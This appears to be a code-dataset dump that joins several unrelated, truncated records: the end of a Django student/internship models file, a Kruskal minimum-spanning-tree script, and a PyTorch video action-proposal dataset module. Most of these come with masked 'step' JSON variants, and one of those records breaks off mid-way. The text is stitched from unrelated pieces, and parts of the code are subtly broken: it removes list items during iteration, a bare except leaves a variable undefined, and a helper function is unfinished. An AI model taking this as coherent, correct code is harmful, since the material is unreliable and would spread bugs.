'Cad.Profcoorest'\n\nclass alunos(models.Model):\n matricula = models.IntegerField(primary_key = True)\n nome = models.CharField(max_length=100)\n sexo = models.CharField(max_length=1)\n datanasc = models.DateField()\n periodo = models.IntegerField()\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models.CASCADE)\n \n def __str__(self):\n return self.nome\n\n class Meta:\n managed = False\n db_table = 'alunos'\n verbose_name = 'Cad.Aluno'\n\nclass estagio(models.Model):\n codigo = models.AutoField(primary_key = True)\n aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models.CASCADE)\n profest = models.ForeignKey('profcoorest', db_column='profest', on_delete=models.CASCADE)\n remunerado = models.CharField(max_length=1)\n valor = models.DecimalField(max_digits=6, decimal_places=2)\n empresa = models.CharField(max_length=30)\n cargahr = models.IntegerField()\n descr_est = models.CharField(max_length=256)\n resp_est = models.CharField(max_length=50)\n \n def __str__(self):\n return '%s' % (self.codigo)\n \n class Meta:\n managed = False\n db_table = 'estagio'\n verbose_name = 'Cad.Estagio'", "step-ids": [ 11, 13, 14, 16, 17 ] }

[ 11, 13, 14, 16, 17 ]

import sys V, E = map(int, sys.stdin.readline().split()) node = [] graphs = [] for i in range(V+1): node.append(i) for _ in range(E): graphs.append((list(map(int, sys.stdin.readline().split())))) graph = sorted(graphs, key=lambda x: x[2]) def get_parent(parent, x): if parent[x] == x: return x parent[x] = get_parent(parent, parent[x]) return parent[x] def union_parent(parent, a, b): a = get_parent(parent, a) b = get_parent(parent, b) if a != b: parent[b] = a N = 0 distance = 0 idx = 0 while N < V-1: A, B, dist = graph[idx] if get_parent(node, A) == get_parent(node, B): idx += 1 continue union_parent(node, A, B) distance += dist N += 1 idx += 1 print(distance)

normal

{ "blob_id": "2e794e281c6f34858cd32725cdc454eb18c28892", "index": 3415, "step-1": "<mask token>\n\n\ndef get_parent(parent, x):\n if parent[x] == x:\n return x\n parent[x] = get_parent(parent, parent[x])\n return parent[x]\n\n\ndef union_parent(parent, a, b):\n a = get_parent(parent, a)\n b = get_parent(parent, b)\n if a != b:\n parent[b] = a\n\n\n<mask token>\n", "step-2": "<mask token>\nfor i in range(V + 1):\n node.append(i)\nfor _ in range(E):\n graphs.append(list(map(int, sys.stdin.readline().split())))\n<mask token>\n\n\ndef get_parent(parent, x):\n if parent[x] == x:\n return x\n parent[x] = get_parent(parent, parent[x])\n return parent[x]\n\n\ndef union_parent(parent, a, b):\n a = get_parent(parent, a)\n b = get_parent(parent, b)\n if a != b:\n parent[b] = a\n\n\n<mask token>\nwhile N < V - 1:\n A, B, dist = graph[idx]\n if get_parent(node, A) == get_parent(node, B):\n idx += 1\n continue\n union_parent(node, A, B)\n distance += dist\n N += 1\n idx += 1\nprint(distance)\n", "step-3": "<mask token>\nV, E = map(int, sys.stdin.readline().split())\nnode = []\ngraphs = []\nfor i in range(V + 1):\n node.append(i)\nfor _ in range(E):\n graphs.append(list(map(int, sys.stdin.readline().split())))\ngraph = sorted(graphs, key=lambda x: x[2])\n\n\ndef get_parent(parent, x):\n if parent[x] == x:\n return x\n parent[x] = get_parent(parent, parent[x])\n return parent[x]\n\n\ndef union_parent(parent, a, b):\n a = get_parent(parent, a)\n b = get_parent(parent, b)\n if a != b:\n parent[b] = a\n\n\nN = 0\ndistance = 0\nidx = 0\nwhile N < V - 1:\n A, B, dist = graph[idx]\n if get_parent(node, A) == get_parent(node, B):\n idx += 1\n continue\n union_parent(node, A, B)\n distance += dist\n N += 1\n idx += 1\nprint(distance)\n", "step-4": "import sys\nV, E = map(int, sys.stdin.readline().split())\nnode = []\ngraphs = []\nfor i in range(V + 1):\n node.append(i)\nfor _ in range(E):\n graphs.append(list(map(int, sys.stdin.readline().split())))\ngraph = sorted(graphs, key=lambda x: x[2])\n\n\ndef get_parent(parent, x):\n if parent[x] == x:\n return x\n parent[x] = get_parent(parent, parent[x])\n return parent[x]\n\n\ndef union_parent(parent, a, b):\n a = get_parent(parent, a)\n b = get_parent(parent, b)\n if a != b:\n parent[b] = a\n\n\nN = 0\ndistance = 0\nidx = 0\nwhile N < V - 1:\n A, B, dist = graph[idx]\n if get_parent(node, A) == get_parent(node, B):\n idx += 1\n continue\n union_parent(node, A, B)\n distance += dist\n N += 1\n idx += 1\nprint(distance)\n", "step-5": "import sys\n\nV, E = map(int, sys.stdin.readline().split())\n\nnode = []\ngraphs = []\nfor i in range(V+1):\n node.append(i)\n\nfor _ in range(E):\n graphs.append((list(map(int, sys.stdin.readline().split()))))\n\ngraph = sorted(graphs, key=lambda x: x[2])\n\n\ndef get_parent(parent, x):\n if parent[x] == x:\n return x\n parent[x] = get_parent(parent, parent[x])\n return parent[x]\n\n\ndef union_parent(parent, a, b):\n a = get_parent(parent, a)\n b = get_parent(parent, b)\n if a != b:\n parent[b] = a\n\n\nN = 0\ndistance = 0\nidx = 0\nwhile N < V-1:\n A, B, dist = graph[idx]\n if get_parent(node, A) == get_parent(node, B):\n idx += 1\n continue\n\n union_parent(node, A, B)\n distance += dist\n N += 1\n idx += 1\n\nprint(distance)\n", "step-ids": [ 2, 3, 4, 5, 6 ] }

[ 2, 3, 4, 5, 6 ]

# -*- coding: utf-8 -*- import numpy as np import pandas as pd import pandas import numpy import json import torch.utils.data as data import os import torch def load_json(file): with open(file) as json_file: data = json.load(json_file) return data class VideoDataSet(data.Dataset): def __init__(self,opt,subset="train"): self.temporal_scale = opt["temporal_scale"] # 时域长度归一化到100 self.temporal_gap = 1. / self.temporal_scale # 每个snippt时间占比 self.subset = subset # training validation or test self.mode = opt["mode"] # 'train' or 'test' self.feature_path = opt["feature_path"] # '特征存放位置' self.boundary_ratio = opt["boundary_ratio"] # 0.1 人为扩充boundary的区域长度占总长度的比率 self.video_info_path = opt["video_info"] # 存在视频信息的csv self.video_anno_path = opt["video_anno"] # 存放标记信息的csv self._getDatasetDict() self.check_csv() def check_csv(self): # 因为某些视频的特征可能不存在，或者遭到了损坏 for video in self.video_list: if not os.path.exists(self.feature_path + "csv_mean_" + str(self.temporal_scale) + "/" + video + ".csv"): print("video :{} feature csv is not existed".format(video)) self.video_list.remove(video) del self.video_dict[video] # 删除已知的错误样本 del_videl_list = ['v_5HW6mjZZvtY'] for v in del_videl_list: if v in self.video_dict: print("del " + v +' video') self.video_list.remove(v) del self.video_dict[v] print ("After check: csv \n %s subset video numbers: %d" %(self.subset,len(self.video_list))) def _getDatasetDict(self): anno_df = pd.read_csv(self.video_info_path) anno_database= load_json(self.video_anno_path) self.video_dict = {} # 存放一系列内容，包括gt for i in range(len(anno_df)): video_name=anno_df.video.values[i] video_info=anno_database[video_name] video_subset=anno_df.subset.values[i] # 读取该视频属于的子数据集 training validation or test if self.subset == "full": #全部都要 self.video_dict[video_name] = video_info if self.subset in video_subset: self.video_dict[video_name] = video_info # 是需要的数据集样本添加到字典中 self.video_list = list(self.video_dict.keys()) # 含有哪些video print ("Before check: csv \n %s subset video numbers: %d" %(self.subset,len(self.video_list))) def __getitem__(self, index): video_data,anchor_xmin,anchor_xmax = self._get_base_data(index) if self.mode == "train": match_score_action,match_score_start,match_score_end = self._get_train_label(index,anchor_xmin,anchor_xmax) return video_data,match_score_action,match_score_start,match_score_end else: return index,video_data,anchor_xmin,anchor_xmax def _get_base_data(self,index): video_name=self.video_list[index] anchor_xmin=[self.temporal_gap*i for i in range(self.temporal_scale)] # 0.00 d到 0.99 anchor_xmax=[self.temporal_gap*i for i in range(1,self.temporal_scale+1)] # 0.01到1.00 try: video_df=pd.read_csv(self.feature_path+ "csv_mean_"+str(self.temporal_scale)+"/"+video_name+".csv") # 得到这个视频的特征 except: print('Error in '+video_name+".csv") video_data = video_df.values[:,:] video_data = torch.Tensor(video_data) # 这个video的特征[100, 400] video_data = torch.transpose(video_data,0,1) #[400， 100] 便于时域的一维卷积操作 video_data.float() return video_data,anchor_xmin,anchor_xmax def _get_train_label(self,index,anchor_xmin,anchor_xmax): # 相当于要生成3个概率序列的真值 video_name=self.video_list[index] video_info=self.video_dict[video_name] # 包括duration_second duration_frame annotations and feature_frame 但是这个特征长度已经被归一化了 video_frame=video_info['duration_frame'] video_second=video_info['duration_second'] feature_frame=video_info['feature_frame'] corrected_second=float(feature_frame)/video_frame*video_second #相当于校准时间因为采用的滑动窗口形式进行提取特征，两个frame会存在一些差异 video_labels=video_info['annotations'] gt_bbox = [] for j in range(len(video_labels)): #将时间归一化 0到1之间 tmp_info=video_labels[j] tmp_start=max(min(1,tmp_info['segment'][0]/corrected_second),0) tmp_end=max(min(1,tmp_info['segment'][1]/corrected_second),0) gt_bbox.append([tmp_start,tmp_end]) gt_bbox=np.array(gt_bbox) gt_xmins=gt_bbox[:,0] gt_xmaxs=gt_bbox[:,1] gt_lens=gt_xmaxs-gt_xmins gt_len_small=np.maximum(self.temporal_gap,self.boundary_ratio*gt_lens) # starting region 和 ending region的长度 gt_start_bboxs=np.stack((gt_xmins-gt_len_small/2,gt_xmins+gt_len_small/2),axis=1) # starting region gt_end_bboxs=np.stack((gt_xmaxs-gt_len_small/2,gt_xmaxs+gt_len_small/2),axis=1) # ending region # anchors = np.stack((anchor_xmin, anchor_xmax), 1) # 代表每一个snippet的范围 match_score_action=[] # 给每一个位置计算TEM的三个概率值，但是from 0 to 99 效率不高吧这种方法生成会有大量的无效操作，特别是gt较少的时候，可以后期优化 for jdx in range(len(anchor_xmin)): match_score_action.append(np.max(self._ioa_with_anchors(anchor_xmin[jdx],anchor_xmax[jdx],gt_xmins,gt_xmaxs))) match_score_start=[] for jdx in range(len(anchor_xmin)): match_score_start.append(np.max(self._ioa_with_anchors(anchor_xmin[jdx],anchor_xmax[jdx],gt_start_bboxs[:,0],gt_start_bboxs[:,1]))) match_score_end=[] for jdx in range(len(anchor_xmin)): match_score_end.append(np.max(self._ioa_with_anchors(anchor_xmin[jdx],anchor_xmax[jdx],gt_end_bboxs[:,0],gt_end_bboxs[:,1]))) match_score_action = torch.Tensor(match_score_action) match_score_start = torch.Tensor(match_score_start) match_score_end = torch.Tensor(match_score_end) return match_score_action,match_score_start,match_score_end #3个长度为100的概率序列 def _ioa_with_anchors(self,anchors_min,anchors_max,box_min,box_max): len_anchors=anchors_max-anchors_min int_xmin = np.maximum(anchors_min, box_min) int_xmax = np.minimum(anchors_max, box_max) inter_len = np.maximum(int_xmax - int_xmin, 0.) scores = np.divide(inter_len, len_anchors) return scores def _ioa(self, anchors, gts): len_anchors = anchors[:,1] - anchors[:,0] int_min = np.maximum(anchors[:,0],gts[:,0]) int_max = np.minimum(anchors[:,1],gts[:,1]) np.maximum(np.expand_dims(np.arange(1, 5), 1), np.arange(3)) def __len__(self): return len(self.video_list) class ProposalDataSet(data.Dataset): def __init__(self,opt,subset="train"): self.subset=subset self.mode = opt["mode"] if self.mode == "train": # 测试与前推时的样本数量是不一样的 self.top_K = opt["pem_top_K"] else: self.top_K = opt["pem_top_K_inference"] self.video_info_path = opt["video_info"] self.video_anno_path = opt["video_anno"] self.feature_path = opt["feature_path"] # '特征存放位置' self.temporal_scale = opt["temporal_scale"] # 时域长度归一化到100 self._getDatasetDict() self.check_csv() def check_csv(self): # 因为某些视频的特征可能不存在，或者遭到了损坏 for video in self.video_list: if not os.path.exists(self.feature_path + "csv_mean_" + str(self.temporal_scale) + "/" + video + ".csv"): print("video :{} feature csv is not existed".format(video)) self.video_list.remove(video) del self.video_dict[video] # 删除已知的错误样本 del_videl_list = ['v_5HW6mjZZvtY'] for v in del_videl_list: if v in self.video_dict: print("del " + v +' video') self.video_list.remove(v) del self.video_dict[v] print ("After check: csv \n %s subset video numbers: %d" %(self.subset,len(self.video_list))) def _getDatasetDict(self): anno_df = pd.read_csv(self.video_info_path) #读取信息 anno_database= load_json(self.video_anno_path) # 读取相关真值信息 self.video_dict = {} for i in range(len(anno_df)): video_name=anno_df.video.values[i] video_info=anno_database[video_name] video_subset=anno_df.subset.values[i] if self.subset == "full": self.video_dict[video_name] = video_info if self.subset in video_subset: self.video_dict[video_name] = video_info self.video_list = list(self.video_dict.keys()) print ("%s subset video numbers: %d" %(self.subset,len(self.video_list))) def __len__(self): return len(self.video_list) def __getitem__(self, index): video_name = self.video_list[index] pdf=pandas.read_csv("./output/PGM_proposals/"+video_name+".csv") # 读取proposal pdf=pdf[:self.top_K] video_feature = numpy.load("./output/PGM_feature/" + video_name+".npy") # read BSP feature for proposals video_feature = video_feature[:self.top_K,:] #print len(video_feature),len(pdf) video_feature = torch.Tensor(video_feature) if self.mode == "train": video_match_iou = torch.Tensor(pdf.match_iou.values[:]) # choose IOU as gt 已经在TEM inference阶段计算好 return video_feature,video_match_iou # [bs, 32] [bs] else: # 取得proposals的 starting location， ending location, starting score, ending score video_xmin =pdf.xmin.values[:] video_xmax =pdf.xmax.values[:] video_xmin_score = pdf.xmin_score.values[:] video_xmax_score = pdf.xmax_score.values[:] return video_feature,video_xmin,video_xmax,video_xmin_score,video_xmax_score def load_json(file): with open(file) as json_file: json_data = json.load(json_file) return json_data class BMN_VideoDataSet(data.Dataset): def __init__(self, opt, subset="train"): self.temporal_scale = opt["temporal_scale"] # 100 self.temporal_gap = 1. / self.temporal_scale self.subset = subset self.mode = opt["mode"] self.feature_path = opt["feature_path"] self.video_info_path = opt["video_info"] self.video_anno_path = opt["video_anno"] self._getDatasetDict() self.check_csv() self._get_match_map() def check_csv(self): # 因为某些视频的特征可能不存在，或者遭到了损坏 for video in self.video_list: if not os.path.exists(self.feature_path + "csv_mean_" + str(self.temporal_scale) + "/" + video + ".csv"): print("video :{} feature csv is not existed".format(video)) self.video_list.remove(video) del self.video_dict[video] # 删除已知的错误样本 del_videl_list = ['v_5HW6mjZZvtY'] for v in del_videl_list: if v in self.video_dict: print("del " + v +' video') self.video_list.remove(v) del self.video_dict[v] print ("After check: csv \n %s subset video numbers: %d" %(self.subset,len(self.video_list))) def _getDatasetDict(self): anno_df = pd.read_csv(self.video_info_path) anno_database = load_json(self.video_anno_path) self.video_dict = {} for i in range(len(anno_df)): video_name = anno_df.video.values[i] video_info = anno_database[video_name] video_subset = anno_df.subset.values[i] if self.subset in video_subset: self.video_dict[video_name] = video_info self.video_list = list(self.video_dict.keys()) print("%s subset video numbers: %d" % (self.subset, len(self.video_list))) def __getitem__(self, index): video_data = self._load_file(index) # video feature [400, 100] if self.mode == "train": # [D, T] [100, 100] [T=100] [T=100] match_score_start, match_score_end, confidence_score = self._get_train_label(index, self.anchor_xmin, self.anchor_xmax) return video_data,confidence_score, match_score_start, match_score_end else: return index, video_data def _get_match_map(self): match_map = [] for idx in range(self.temporal_scale): tmp_match_window = [] xmin = self.temporal_gap * idx # start locaiton 归一化之后的 for jdx in range(1, self.temporal_scale + 1): xmax = xmin + self.temporal_gap * jdx # ending location 加上duration tmp_match_window.append([xmin, xmax]) match_map.append(tmp_match_window) match_map = np.array(match_map) # 100x100x2 最后一个2代表BM map上面每一个代表的candidate proposals所代表的时域范围 [start, duration, 2] match_map = np.transpose(match_map, [1, 0, 2]) # [0.00,0.01] [0.01,0.02] [0.02,0.03].....[0.99,0.100] [duration, start, 2] match_map = np.reshape(match_map, [-1, 2]) # [0,2] [1,3] [2,4].....[99,101] # duration x start [100*100, 2] self.match_map = match_map # duration is same in row, start is same in col self.anchor_xmin = [self.temporal_gap * (i-0.5) for i in range(self.temporal_scale)] # 每一个 snippet 的开始时间 self.anchor_xmax = [self.temporal_gap * (i+0.5) for i in range(1, self.temporal_scale + 1)] # 每一个 snippet的结束时刻 # 注意从产生特征的角度来看，上面的anchor min 和anchor max 应该和BSN一样，不减去0.5， # 比如第一个特征的就是由0-16帧图片产生，最后一个特征就是-16到-1的图片产生，应该不用减去那个0.5 # 之后可以通过实验验证一下是否影响精度相反，我觉得上面的match map应该加上0,5 因为每个snippet的中央区域在中间但是因为是离线处理，所以不应该纠结那么多 def _load_file(self, index): video_name = self.video_list[index] video_df = pd.read_csv(self.feature_path + "csv_mean_" + str(self.temporal_scale) + "/" + video_name + ".csv") video_data = video_df.values[:, :] video_data = torch.Tensor(video_data) video_data = torch.transpose(video_data, 0, 1) video_data.float() return video_data def _get_train_label(self, index, anchor_xmin, anchor_xmax): video_name = self.video_list[index] video_info = self.video_dict[video_name] video_frame = video_info['duration_frame'] video_second = video_info['duration_second'] feature_frame = video_info['feature_frame'] corrected_second = float(feature_frame) / video_frame * video_second # there are some frames not used video_labels = video_info['annotations'] # the measurement is second, not frame ############################################################################################## # change the measurement from second to percentage gt_bbox = [] gt_iou_map = [] for j in range(len(video_labels)): #对于每个Proposal tmp_info = video_labels[j] tmp_start = max(min(1, tmp_info['segment'][0] / corrected_second), 0) # 归一化时间 tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0) gt_bbox.append([tmp_start, tmp_end]) tmp_gt_iou_map = iou_with_anchors( # 每一个候选的proposals计算IOU self.match_map[:, 0], self.match_map[:, 1], tmp_start, tmp_end) tmp_gt_iou_map = np.reshape(tmp_gt_iou_map, [self.temporal_scale, self.temporal_scale]) # [100, 100] 相当于BM map的label gt_iou_map.append(tmp_gt_iou_map) gt_iou_map = np.array(gt_iou_map) # [num_gt, 100, 100] gt_iou_map = np.max(gt_iou_map, axis=0) # 取最大的IOU作为gt [100, 100] gt_iou_map = torch.Tensor(gt_iou_map) ############################################################################################## #################################################################################################### # generate R_s and R_e # 构建增强后的start region和ending region gt_bbox = np.array(gt_bbox) gt_xmins = gt_bbox[:, 0] gt_xmaxs = gt_bbox[:, 1] gt_lens = gt_xmaxs - gt_xmins gt_len_small = 3 * self.temporal_gap # np.maximum(self.temporal_gap, self.boundary_ratio * gt_lens) # 直接用绝对大小代表增强区域的大小 gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + gt_len_small / 2), axis=1) gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + gt_len_small / 2), axis=1) # 产生增强之后的两个区域 ##################################################################################################### ########################################################################################################## # calculate the ioa for all timestamp # 计算两个概率序列的真值 match_score_start = [] for jdx in range(len(anchor_xmin)): # 针对每一个anchor都计算与gt之间的ioa作为真值 match_score_start.append(np.max( ioa_with_anchors(anchor_xmin[jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0], gt_start_bboxs[:, 1]))) match_score_end = [] for jdx in range(len(anchor_xmin)): match_score_end.append(np.max( ioa_with_anchors(anchor_xmin[jdx], anchor_xmax[jdx], gt_end_bboxs[:, 0], gt_end_bboxs[:, 1]))) match_score_start = torch.Tensor(match_score_start) match_score_end = torch.Tensor(match_score_end) ############################################################################################################ return match_score_start, match_score_end, gt_iou_map # 三个真值 [100], [100], [100,100] def __len__(self): return len(self.video_list) def ioa_with_anchors(anchors_min, anchors_max, box_min, box_max): # calculate the overlap proportion between the anchor and all bbox for supervise signal, # the length of the anchor is 0.01 len_anchors = anchors_max - anchors_min int_xmin = np.maximum(anchors_min, box_min) int_xmax = np.minimum(anchors_max, box_max) inter_len = np.maximum(int_xmax - int_xmin, 0.) scores = np.divide(inter_len, len_anchors) return scores def iou_with_anchors(anchors_min, anchors_max, box_min, box_max): """Compute jaccard score between a box and the anchors. """ len_anchors = anchors_max - anchors_min int_xmin = np.maximum(anchors_min, box_min) int_xmax = np.minimum(anchors_max, box_max) inter_len = np.maximum(int_xmax - int_xmin, 0.) union_len = len_anchors - inter_len + box_max - box_min # print inter_len,union_len jaccard = np.divide(inter_len, union_len) return jaccard if __name__ == '__main__': import opts opt = opts.parse_opt() opt = vars(opt) # test dataset for BMN network train_loader = torch.utils.data.DataLoader(BMN_VideoDataSet(opt, subset="train"), batch_size=opt["bmn_batch_size"], shuffle=True, num_workers=8, pin_memory=True) for a,b,c,d in train_loader: print(a.shape,b.shape,c.shape,d.shape) break

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{ "blob_id": "e5b5a0c8c0cbe4862243548b3661057240e9d8fd", "index": 6077, "step-1": "<mask token>\n\n\nclass VideoDataSet(data.Dataset):\n <mask token>\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass ProposalDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.subset = subset\n self.mode = opt['mode']\n if self.mode == 'train':\n self.top_K = opt['pem_top_K']\n else:\n self.top_K = opt['pem_top_K_inference']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self.feature_path = opt['feature_path']\n self.temporal_scale = opt['temporal_scale']\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset == 'full':\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __len__(self):\n return len(self.video_list)\n\n def __getitem__(self, index):\n video_name = self.video_list[index]\n pdf = pandas.read_csv('./output/PGM_proposals/' + video_name + '.csv')\n pdf = pdf[:self.top_K]\n video_feature = numpy.load('./output/PGM_feature/' + video_name +\n '.npy')\n video_feature = video_feature[:self.top_K, :]\n video_feature = torch.Tensor(video_feature)\n if self.mode == 'train':\n video_match_iou = torch.Tensor(pdf.match_iou.values[:])\n return video_feature, video_match_iou\n else:\n video_xmin = pdf.xmin.values[:]\n video_xmax = pdf.xmax.values[:]\n video_xmin_score = pdf.xmin_score.values[:]\n video_xmax_score = pdf.xmax_score.values[:]\n return (video_feature, video_xmin, video_xmax, video_xmin_score,\n video_xmax_score)\n\n\n<mask token>\n\n\nclass BMN_VideoDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.temporal_scale = opt['temporal_scale']\n self.temporal_gap = 1.0 / self.temporal_scale\n self.subset = subset\n self.mode = opt['mode']\n self.feature_path = opt['feature_path']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self._getDatasetDict()\n self.check_csv()\n self._get_match_map()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('%s subset video numbers: %d' % (self.subset, len(self.\n video_list)))\n\n def __getitem__(self, index):\n video_data = self._load_file(index)\n if self.mode == 'train':\n match_score_start, match_score_end, confidence_score = (self.\n _get_train_label(index, self.anchor_xmin, self.anchor_xmax))\n return (video_data, confidence_score, match_score_start,\n match_score_end)\n else:\n return index, video_data\n\n def _get_match_map(self):\n match_map = []\n for idx in range(self.temporal_scale):\n tmp_match_window = []\n xmin = self.temporal_gap * idx\n for jdx in range(1, self.temporal_scale + 1):\n xmax = xmin + self.temporal_gap * jdx\n tmp_match_window.append([xmin, xmax])\n match_map.append(tmp_match_window)\n match_map = np.array(match_map)\n match_map = np.transpose(match_map, [1, 0, 2])\n match_map = np.reshape(match_map, [-1, 2])\n self.match_map = match_map\n self.anchor_xmin = [(self.temporal_gap * (i - 0.5)) for i in range(\n self.temporal_scale)]\n self.anchor_xmax = [(self.temporal_gap * (i + 0.5)) for i in range(\n 1, self.temporal_scale + 1)]\n\n def _load_file(self, index):\n video_name = self.video_list[index]\n video_df = pd.read_csv(self.feature_path + 'csv_mean_' + str(self.\n temporal_scale) + '/' + video_name + '.csv')\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data\n\n def _get_train_label(self, index, anchor_xmin, anchor_xmax):\n video_name = self.video_list[index]\n video_info = self.video_dict[video_name]\n video_frame = video_info['duration_frame']\n video_second = video_info['duration_second']\n feature_frame = video_info['feature_frame']\n corrected_second = float(feature_frame) / video_frame * video_second\n video_labels = video_info['annotations']\n gt_bbox = []\n gt_iou_map = []\n for j in range(len(video_labels)):\n tmp_info = video_labels[j]\n tmp_start = max(min(1, tmp_info['segment'][0] /\n corrected_second), 0)\n tmp_end = max(min(1, tmp_info['segment'][1] / corrected_second), 0)\n gt_bbox.append([tmp_start, tmp_end])\n tmp_gt_iou_map = iou_with_anchors(self.match_map[:, 0], self.\n match_map[:, 1], tmp_start, tmp_end)\n tmp_gt_iou_map = np.reshape(tmp_gt_iou_map, [self.\n temporal_scale, self.temporal_scale])\n gt_iou_map.append(tmp_gt_iou_map)\n gt_iou_map = np.array(gt_iou_map)\n gt_iou_map = np.max(gt_iou_map, axis=0)\n gt_iou_map = torch.Tensor(gt_iou_map)\n gt_bbox = np.array(gt_bbox)\n gt_xmins = gt_bbox[:, 0]\n gt_xmaxs = gt_bbox[:, 1]\n gt_lens = gt_xmaxs - gt_xmins\n gt_len_small = 3 * self.temporal_gap\n gt_start_bboxs = np.stack((gt_xmins - gt_len_small / 2, gt_xmins + \n gt_len_small / 2), axis=1)\n gt_end_bboxs = np.stack((gt_xmaxs - gt_len_small / 2, gt_xmaxs + \n gt_len_small / 2), axis=1)\n match_score_start = []\n for jdx in range(len(anchor_xmin)):\n match_score_start.append(np.max(ioa_with_anchors(anchor_xmin[\n jdx], anchor_xmax[jdx], gt_start_bboxs[:, 0],\n gt_start_bboxs[:, 1])))\n match_score_end = []\n for jdx in range(len(anchor_xmin)):\n match_score_end.append(np.max(ioa_with_anchors(anchor_xmin[jdx],\n anchor_xmax[jdx], gt_end_bboxs[:, 0], gt_end_bboxs[:, 1])))\n match_score_start = torch.Tensor(match_score_start)\n match_score_end = torch.Tensor(match_score_end)\n return match_score_start, match_score_end, gt_iou_map\n\n def __len__(self):\n return len(self.video_list)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass VideoDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.temporal_scale = opt['temporal_scale']\n self.temporal_gap = 1.0 / self.temporal_scale\n self.subset = subset\n self.mode = opt['mode']\n self.feature_path = opt['feature_path']\n self.boundary_ratio = opt['boundary_ratio']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n self._getDatasetDict()\n self.check_csv()\n\n def check_csv(self):\n for video in self.video_list:\n if not os.path.exists(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video + '.csv'):\n print('video :{} feature csv is not existed'.format(video))\n self.video_list.remove(video)\n del self.video_dict[video]\n del_videl_list = ['v_5HW6mjZZvtY']\n for v in del_videl_list:\n if v in self.video_dict:\n print('del ' + v + ' video')\n self.video_list.remove(v)\n del self.video_dict[v]\n print('After check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n\n def _getDatasetDict(self):\n anno_df = pd.read_csv(self.video_info_path)\n anno_database = load_json(self.video_anno_path)\n self.video_dict = {}\n for i in range(len(anno_df)):\n video_name = anno_df.video.values[i]\n video_info = anno_database[video_name]\n video_subset = anno_df.subset.values[i]\n if self.subset == 'full':\n self.video_dict[video_name] = video_info\n if self.subset in video_subset:\n self.video_dict[video_name] = video_info\n self.video_list = list(self.video_dict.keys())\n print('Before check: csv \\n %s subset video numbers: %d' % (self.\n subset, len(self.video_list)))\n <mask token>\n\n def _get_base_data(self, index):\n video_name = self.video_list[index]\n anchor_xmin = [(self.temporal_gap * i) for i in range(self.\n temporal_scale)]\n anchor_xmax = [(self.temporal_gap * i) for i in range(1, self.\n temporal_scale + 1)]\n try:\n video_df = pd.read_csv(self.feature_path + 'csv_mean_' + str(\n self.temporal_scale) + '/' + video_name + '.csv')\n except:\n print('Error in ' + video_name + '.csv')\n video_data = video_df.values[:, :]\n video_data = torch.Tensor(video_data)\n video_data = torch.transpose(video_data, 0, 1)\n video_data.float()\n return video_data, anchor_xmin, anchor_xmax\n <mask token>\n <mask token>\n <mask token>\n\n def __len__(self):\n return len(self.video_list)\n\n\nclass ProposalDataSet(data.Dataset):\n\n def __init__(self, opt, subset='train'):\n self.subset = subset\n self.mode = opt['mode']\n if self.mode == 'train':\n self.top_K = opt['pem_top_K']\n else:\n self.top_K = opt['pem_top_K_inference']\n self.video_info_path = opt['video_info']\n self.video_anno_path = opt['video_anno']\n 